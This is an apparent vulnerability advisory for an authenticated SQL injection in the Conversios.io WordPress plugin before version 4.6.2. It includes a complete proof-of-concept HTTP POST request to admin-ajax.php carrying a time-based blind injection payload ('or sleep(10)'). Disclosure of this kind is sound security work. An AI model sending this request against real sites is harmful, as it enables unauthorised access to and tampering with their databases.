Conversios.io < 4.6.2 - Subscriber+ SQL Injection

2022-02-0100:00:00

JrXnm

0.001 Low

EPSS

Percentile

37.7%

JSON

The plugin does not sanitise, validate and escape the sync_progressive_data parameter for the tvcajax_product_sync_bantch_wise AJAX action before using it in a SQL statement, allowing any authenticated user to perform SQL injection attacks. Note: The vendor was notified multiple times since November 6th, 2021, released incorrect fixes and the issue is still present

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 138
Connection: close
Cookie: [subscriber+]
Upgrade-Insecure-Requests: 1

action=tvcajax_product_sync_bantch_wise&sync_progressive_data[sync_step]=2&sync_progressive_data[last_sync_product_id]=12+or+sleep(10)--+-

0.001 Low

EPSS

Percentile

37.7%

JSON

Related for WPEX-ID:CBB8FA9F-1C84-4410-AE86-64CB1771CE78